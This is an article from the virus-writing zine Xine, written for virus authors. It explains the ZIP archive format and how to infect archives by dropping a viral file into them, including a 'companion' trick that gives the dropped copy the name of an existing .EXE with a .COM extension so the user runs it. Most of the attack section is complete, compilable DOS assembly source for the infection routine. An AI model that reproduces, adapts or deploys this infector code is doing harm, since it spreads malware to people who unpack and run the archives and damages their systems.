Copy Link
Add to Bookmark
Report
Xine - issue #3 - Phile 108
/-----------------------------\
| Xine - issue #3 - Phile 108 |
\-----------------------------/
DROPPING & COMPANIONING over ZIP archives
From the Archives infector series
by UnknowN MnemoniK/ikx
Intro
+-----+
Zip are the most complex archive file to infect , obviously also the most
used , a lot of programs use them , create them , modify them , make some
phucked tricks on them , those programs are almost writted in C by bad
coders using library, object and code and don't care about the structure.
I have found only one prog that use a little assembler , but like all asm
code writted by a c programmer , the code is unreadable , really , I have
spend three hours about shitty things,the code might to be something
coded by Jacky Qwerty , unreadable , uncomprehensible and without any
sense but it works . Infect a zip is an art because a lot of platforms
support them and specially BBS that convert ALL files they receive into
zip files (with any kinda archiver) , zip are also really common on ftp
but also on cdrom , waraz games , etc etc etc....
The zip file format
+-------------------+
Zip doesn't use the same scheme of packet like another archive, it uses a
<<locked>> and a little messy structure , for this reason there are a lot
of infection ways ( Gewd for vx ), in fact, you have three types of areas
of packets , the local files , the central directory and the end of
central directory, the first contain a certain header plus the compressed
file , the second contains severals informations ( and usefull for us )
and of course have his header , the third and the last one contains
general informations about the file , here's the scheme
+-------------------+
| Local File 1 | ----------+
+-------------------+ | The information about the file in
| Local File 2 | | local file 1 must be the same as
+-------------------+ | Central Directory 1 to have a full
| Local File ... | +----- compatibility with any zip program
+-------------------+ | The first block of Central Dir. 1
| Local File n | | need to be in relation with Local
+-------------------^---+ | File 1 , the second Central Dir. 2
| Central Directory 1 | ------+ with the Local File 2 , you MUST
+-----------------------+ respect this order . In fact
| Central Directory 2 | PKUNZIP don't care about the order
+-----------------------+ but some programs like Norton
| Central Directory ... | commander archive utility report a
+-----------------------+ a crash if you don't respect it
| Central Directory n | anyway , crashes alert often the
+-----------------------^--+ user who believe that he have a
| End of central directory | virus (really pathetic ...)
+--------------------------+
It's important to see how it works for any manipulation
Headers structure
+-----------------+
I need to send a big thanks to Griyo and superx who sent me those
informations that helped me a lot for the zip infection! I found this
really easy to understand , I had tried to do the same things for the
arj and rar
OFFSET LABEL TYP VALUE DESCRIPTION
------ ----------- ---- ----------- ----------------------------------
00 ZIPLOCSIG HEX 04034B50 ;Local File Header Signature
04 ZIPVER DW 0000 ;Version needed to extract
06 ZIPGENFLG DW 0000 ;General purpose bit flag
Value : (Bit) 0 = File encrypted
1 = If set and file imploded , then 8k sliding
dictionary was used , else 4k dictionary was used
2 = If set and file imploded , then 3 shannon-Fano
trees were used , else 2 shannon-Fano trees
3-4 = unused
5-7 = used internaly by zip
08 ZIPMTHD DW 0000 ;Compression method
Value : 0 = No compression used
1 = LZW , 8K buffer , 9-13 buts with partial clearing
2 = Reduced-1 , Probalistic compression L(X)=lower 7 bits
3 = Reduced-2 , idem but lower 6 bits
4 = Reduced-3 , idem + lower 5 bits
5 = Reduced-4 , idem + lower 4 bits
6 = Imploded , 2 Shanno-Fanno trees ,4K sliding dictionary
7 = Imploded , 3 Shanno-Fanno trees ,4K sliding dictionary
8 = Imploded , 2 Shanno-Fanno trees ,8K sliding dictionary
9 = Imploded , 3 Shanno-Fanno trees ,8K sliding dictionary
0A ZIPTIME DW 0000 ;Last mod file time (MS-DOS)
0C ZIPDATE DW 0000 ;Last mod file date (MS-DOS)
0E ZIPCRC HEX 00000000 ;CRC-32
12 ZIPSIZE HEX 00000000 ;Compressed size
16 ZIPUNCMP HEX 00000000 ;Uncompressed size
1A ZIPFNLN DW 0000 ;Filename length
1C ZIPXTRALN DW 0000 ;Extra field length
1E ZIPNAME DS ZIPFNLN ;filename
-- ZIPXTRA DS ZIPXTRALN ;extra field
CENTRAL DIRECTORY STRUCTURE
---------------------------
OFFSET LABEL TYP VALUE DESCRIPTION
------ ----------- ---- ----------- ----------------------------------
00 ZIPCENSIG HEX 02014B50 ;Central file header signature
04 ZIPCVER DB 00 ;Version made by
05 ZIPCOS DB 00 ;Host operating system
value : 0 = MS-DOS and OS/2 1 = Amiga
2 = VMS 3 = *nix
4 = VM/CMS 5 = Atari ST
6 = OS/2 1.2 7 = Macintosh
8 = thru
06 ZIPCVXT DB 00 ;Version needed to extract
07 ZIPCEXOS DB 00 ;O/S of version needed for extraction
08 ZIPCFLG DW 0000 ;General purpose bit flag
0A ZIPCMTHD DW 0000 ;Compression method
0C ZIPCTIM DW 0000 ;Last mod file time (MS-DOS)
0E ZIPCDAT DW 0000 ;Last mod file date (MS-DOS)
10 ZIPCCRC HEX 00000000 ;CRC-32
14 ZIPCSIZ HEX 00000000 ;Compressed size
18 ZIPCUNC HEX 00000000 ;Uncompressed size
1C ZIPCFNL DW 0000 ;Filename length
1E ZIPCXTL DW 0000 ;Extra field length
20 ZIPCCML DW 0000 ;File comment length
22 ZIPDSK DW 0000 ;Disk number start
24 ZIPINT DW 0000 ;Internal file attributes
value : (Bit) 0 = if set then file is an ascii text file
else , file apparently contains binary data
1-7 = unused
26 ZIPEXT HEX 00000000 ;External file attributes, host
;system dependent
2A ZIPOFST HEX 00000000 ;Relative offset of local header
;from the start of the first disk
;on which this file appears
2E ZIPCFN DS ZIPCFNL ;Filename or path - should not
;contain a drive or device letter,
;or a leading slash. All slashes
;should be forward slashes '/'
-- ZIPCXTR DS ZIPCXTL ;extra field
-- ZIPCOM DS ZIPCCML ;file comment
END OF CENTRAL DIR STRUCTURE
----------------------------
OFFSET LABEL TYP VALUE DESCRIPTION
------ ----------- ---- ----------- ----------------------------------
00 ZIPESIG HEX 06064B50 ;End of central dir signature
04 ZIPEDSK DW 0000 ;Number of this disk
06 ZIPECEN DW 0000 ;Number of disk with start central dir
08 ZIPENUM DW 0000 ;Total number of entries in central dir
;on this disk
0A ZIPECENN DW 0000 ;total number entries in central dir
0C ZIPECSZ HEX 00000000 ;Size of the central directory
10 ZIPEOFST HEX 00000000 ;Offset of start of central directory
;with respect to the starting disk
;number
14 ZIPECOML DW 0000 ;zipfile comment length
16 ZIPECOM DS ZIPECOML ;zipfile comment
Note that ZIPECOM will be displayed at screen !
those datas becomes from a document writted by Raymond Clay , read it
many times , when you have already well understand it , we can pass on the
infection process
Infection
+---------+
Of course ,for any infection , you must fix host os and compression to No
compression , when done then we can continue infection
Okay , if you want infect any zip file , you will have 3 tricks to do ,
first drop the local header and the virus , second drop the central
directory about the virus go to the end and modify the end of central dir
structure and close the file
In fact , the situation is not too simple, there are many problems, first
you must drop the virus as the last packet in the local file packets area
Why not set it as the first packet ? because the zipofst of other packet
will not correspond with the reality, after that you need also to put the
central directory packet at the end of the file, and you must also modify
the end of central directory packet.Okay but anyway if you write the last
local , you overwrite the central, so you must save the central directory
area, if you overwrite the central directory you will overwrite also the
end of central header ,so you must save it also
The second big problem is to find the end of the local packets area ,good
news, this is also the begin of central directory area,I know two methods
to find the start of central directory
* The offset of the start of central directory is placed in the END
OF CENTRAL , the END OF CENTRAL is at the end of the file , so you
can get it only with the end of central , unfortunately there's
the comment and extra string, so you need to search where start the
END OF CENTRAL , and then get the start of CENTRAL DIRECTORY
* The seeking method consist to jump from an header to an another ,
you read the first header, calculate the offset of the next header
until you find the CENTRAL DIRECTORY signature, this method is the
most secure way to find the central directory
I have choosed the first solution I found the second one require too many
disk acesses and it will raise user's suspects ,with the first solution ,
I can't read any byte I want from the end of the file,so I have choose to
read only 5000 bytes from the end ( think that 80x25 = 2000 ), I haven't
encountered zips that have an end of central bigger than 5000, it's okay
and it's works right!
When I have located the offset of the local header ,I read it and put it
into a buffer , after that , I get the offset of the start of the central
directory , I save the central directory area plus the location , I write
the virus and a new header , I write all the central directory , the new
central directory and the modified end of central directory
Companing ? Yeah, this is possible because we can found the original name
in the central directory , when an EXE file is found , then we copy the
name into a buffer and write it into the central directory and the local
header. For that operation you need to scan each header , if no exe found
you can also drop a file into the zip but this is more dangerous
We can build the zip infection algorithm , it's mine , there's a lot of
other , that can be quite good
1ø Open the file
2ø Go to the end - 5000
3ø Read 5000 bytes
4ø Scan after the end of central directory , if not found goto 13
5ø Save the end central directory
6ø get start offset of central directory and save it also
7ø goto to start of offset of central directory
8ø Write the header of the virus plus the virus
9ø Write central directory
10ø Write central directory viral header
11ø Modify end of central directory
12ø Write end of central directory
13ø Close the file
Zip open ways to a lot of infection types , sure, you'll surprised in the
next issue of Xine to see how zip can be used by VX to do something you
would never imagine
Anyway , I invite you to see the code below , compile this code with TASM
& TLINK and test it with a TEST.ZIP file in the directory , test with and
without an executable in the file
---------------------------------------------------------------------------
.286
.model tiny
.code
org 100h
start:
mov ax,3d02h ; open in r/w
mov dx,offset zipfile ; zipfile
int 21h ; ask dos , dos do it!
xchg bx,ax ; bx = handle
mov al,02h ; go at the end
call go
mov word ptr [sizeoffile+2],ax ; save position ( for use
mov word ptr [sizeoffile],dx ; later )
search_startoflocal:
xchg cx,dx
mov dx,ax
sub dx,5000
mov ax,4200h ; go at endoffile-5000
int 21h ; ask dos , dos do it !
mov ah,3Fh ; go read anything
mov cx,5000 ; go now
mov dx,offset temporary1 ; put it into temporary1
int 21h ; read it
mov si,offset temporary1 ; si = temporary1
mov cx,5000
O_loop:
mov dx,word ptr [si] ; scan after PK signature
mov ax,4b50h
cmp dx,ax
je testifPK
;test about word for endofcentral
;signature
O_Next1:
inc si
loop O_loop
kern_error:
jmp novalid_or_badzip ; not found ? erm don't infect it
testifPK:
cmp word ptr [si+2],0605h
jnz O_next1
push si ; save local position
push bp ; and bp
mov bp,5000 ; si = start of end + offset
sub si,offset temporary1 ; temporary1
sub bp,si ; bp = 5000 - (temporary1-si)
mov word ptr [sizeofend],bp ; here we get the size of
; sizeofend
pop bp ; restore bp
pop si ; restore si
mov ax,word ptr [si+0ch] ; save the size of central
mov dx,word ptr [si+0ch+2]
mov word ptr [sizeofcentral],ax
cmp dx,0
jne kern_error ; if sizeofcentral > 64 k
; then boom bidibyebye
cmp ax,55000 ; if sizeofcentral > 55 k
ja kern_error ; then boom bidibyebye
mov word ptr [sizeofcentral+2],dx ; mov 0 in sizeofcentral+2
mov dx,word ptr [si+10h] ; get offset of central
mov cx,word ptr [si+10h+2] ; directory
mov word ptr [startOfcentral],dx ; restore file handler
mov word ptr [startOfcentral+2],cx ;
mov cx,word ptr [startOfcentral+2] ; set cx/dx to the central
mov dx,word ptr [startOfcentral] ; directory
mov ax,4200h
int 21h ; go now on central dir.
push ax ; save ax,dx
push dx
mov ah,3fh ; read and save central
mov cx,word ptr [sizeofcentral] ; directory
mov dx,offset centraltemporary
int 21h
mov ah,3fh ; read and save the end of
mov cx,word ptr [sizeofend] ; central directory
mov dx,offset temporary1
int 21h
pop cx ; restore offset of central
pop dx ; dir
mov ax,4200h
int 21h ; go for it
call set_a_name ; now we generate a name
; see companioning over zip
mov si,offset start ; get the CRC32 of this
mov cx,fin-start ; program
call crc_calc
mov word ptr [zipcrc],cx ; save it into our header
mov word ptr [zipcrc+2],dx
push cx ; save cx dx
push dx ;
mov ah,40h ; write our local header
mov cx,CentralHeader-localHeader
mov dx,offset localHeader
int 21h
call writename ; write the filename
mov word ptr [zipcrc],0 ; and reset it
mov word ptr [zipcrc+2],0 ; becoz it'll generate
; confusion later
mov ah,40h
mov cx,fin-start
mov dx,offset start
int 21h ; write this code
mov al,1 ; go here
call go
mov word ptr [temporary1+10h],ax ; save this position because
mov word ptr [temporary1+10h+2],dx ; it'll be the start of
; central directory
pop dx ; restore dx cx ( CRC32
pop cx
mov word ptr [zipccrc],cx ; put program crc32 in
mov word ptr [zipccrc+2],dx ; our cental header
mov ah,40h ; write the old
mov cx,word ptr [sizeofcentral] ; central directory
mov dx,offset centraltemporary
int 21h
mov ax,word ptr [startofcentral] ; set in our central header
mov word ptr [CentralHeader+2ah],ax ; the start of the virus
mov ax,word ptr [startofcentral+2] ; who are equal of the
mov word ptr [CentralHeader+2ah+2],ax ; old startofcentral
mov ah,40h ; write our centralHeader
mov cx,endofCentral-CentralHeader
mov dx,offset CentralHeader
int 21h
call writename ; write our name
inc word ptr [Temporary1+08] ; increment the number
inc word ptr [Temporary1+0Ah] ; of entries in endofcent.
add word ptr [Temporary1+0Ch],Endofcentral-CentralHeader
mov ax,word ptr [ZipFnln] ; increase the size of
add word ptr [temporary1+0Ch],ax ; the central dir in
; end of central
mov ah,40h
mov cx,word ptr [sizeofend]
mov dx,offset temporary1 ; write temporary1
int 21h ;
novalid_or_badzip: ; anything suspect during
; infection then close
mov ah,3eh ; the file
int 21h
ret
go: ; moving over the file
mov ah,42h ; pretty often used
xor dx,dx
xor cx,cx
int 21h
ret
LocalHeader:
ziplogsig: db 50h,4bh,03,04 ; signature
zipver: dw 0ah ; ver need to extract
zipgenflag: dw 0 ; no particulary flag
zipMthd: dw 0 ; no compression
zipTime: db 63h,78h ; aleatory
zipDate: db 31h,24h ; aleatory
zipCrc: db 4 dup (0) ; unknown
zipSize: dd fin-start ; unknown
zipUncmp: dd fin-start ; unknown
ZipFnln: dw 0 ; unknown
ZipXtraLn: db 2 dup (0) ; unknown
CentralHeader:
zipCenSig: db 50h,4bh,01,02 ; central signature
zipCver: db 14 ; ver made by
zipCos: db 0 ; Host Operating -> All
zipCvxt: db 0 ; Ver need to extract
ZipCeXos: db 0 ; Ver need to extract.
ZipCflg: dw 0 ; No encryption !
ZipCmthd: dw 0 ; Method : Store it !
ZipCtim: db 63h,78h ; last mod time
ZipCDat: db 31h,24h ; last mod date
ZipCCrc: db 4 dup (0) ; Crc-32 unknown
ZipCsiz: dd fin-start ; Compressed size unknown
ZipCunc: dd fin-start ; Uncompressed size unkown
ZipCfnl: dw 0 ; filename length unknown
ZipCxtl: dw 0 ; Extra Field length 0
ZipCcml: dw 0 ; file comment length 0
ZipDsk: dw 0 ; Disk number start (?) 0
ZipInt: dw 0 ; Internal file attribute no
ZipExt: db 4 dup (0) ; external file attrib -> 0
ZipOfst: db 4 dup (0) ; relativeoffset local head
; unknown
EndOfCentral:
crc_calc:
push bx ; save file handle
push si cx ; cx and si
call crc_table ; render crc table
pop cx si
mov bp,cx ; bp equal numbah of start process
mov cx,0ffffh ; reset counter
mov dx,0ffffh
xor ax,ax
Crc_loop:
lodsb
mov bx,ax
xor bl,cl
mov cl,ch
mov ch,dl
mov dl,dh
mov dh,bh
shl bx,1
shl bx,1
xor cx,word ptr [bx+di]
xor dx,word ptr [bx+di+02]
dec bp
jnz Crc_loop
not dx ; not the result
not cx
pop bx ; restore handle and be back!
ret
crc_table:
mov di,offset starttable+1024-2 ; the buffer table
; remember : It begin by the end
mov bp,255 ; set bp equal 255
; 255 * 4 = 1024
std ; set Direction Flag On
TableHighloop: ; the major loop in the Crc table Calc
mov cx,8 ; set the minus loop to 8
mov dx,bp ; dx = bp , major counter loop
xor ax,ax ; ax = zero
TableLowLoop:
shr ax,1 ; mov one byte of ax at right in bin
rcr dx,1 ; if anything losted , put it on dx
jae anomality ; if superior or equal skip encrypt.
xor dx,08320h ; encrypt value by a signature
xor ax,0EDB8h ;
anomality:
loop TableLowLoop ; make it 8 times
stosw ; write ax
xchg dx,ax
stosw ; not write dx
dec bp ; decrement the counter
jnz TableHighLoop ; repeat it until bp = 0
mov word ptr [di],0 ; last value equal 0
sub di,2
mov word ptr [di],0
cld ; clear direction flag
ret
set_a_name:
mov si,offset centraltemporary
searchnext:
cmp word ptr [si],4B50h ; if not 4B60h then there's
jne not_found ; really a problem
mov cx,word ptr [si+1Ch] ;
cmp cx,255 ; if cx > 255
ja nextone ; then don't search about it
mov bp,word ptr [si+1Ch] ;
cmp word ptr [si+2Eh+bp-2],'EX' ; check if the name have
jne nextone ; XE as last offset if not
; then skip this procedure
add si,2EH ;else then copy the file name
mov di,offset temporaryname ;into temporary name with
;COM extension
push cx
repz movsb
sub di,3
mov word ptr [di],'OC'
mov byte ptr [di+2],'M'
pop cx
jmp go_out ; we finish!
nextone: ; goto to the next header
mov di,si
add si,2eh
add si,word ptr [di+1ch]
add si,word ptr [di+1eh]
add si,word ptr [di+20h]
jmp searchnext
not_found: ; put a fake name
mov si,offset betaname
mov di,offset temporaryname
mov cx,9
push cx
repz movsb
pop cx
go_out:
mov word ptr [ZipCFnl],cx
mov word ptr [ZipFnln],cx
ret
WriteName: ; write the name
; in bx handle
mov ah,40h
mov cx,word ptr [ZipFnln]
mov dx,offset temporaryname
int 21h
ret
betaname: db 'TRYME.COM' ; name of the file
zipfile: db 'test.zip',0 ; name of the host of the file
fin:
sizeoffile: dd ? ; zip informations saved
startofcentral: dd ?
sizeofcentral: dd ?
sizeofend: dd ?
starttable: db 1024 dup (?) ; for the crc32
temporaryname: db 256 dup (?) ; the name
temporary1: dw 5000 dup (?) ; for the endofcentral
centraltemporary: dw ? ; for the centraltemporary
end start
---------------------------------------------------------------------------
Improvent ? Build a vxd and correct some mistake is cool , like usual , a
32 bits asm crc is cool too , anyway , some surprise'll come
Les petits dlinquants (C) Unkm98!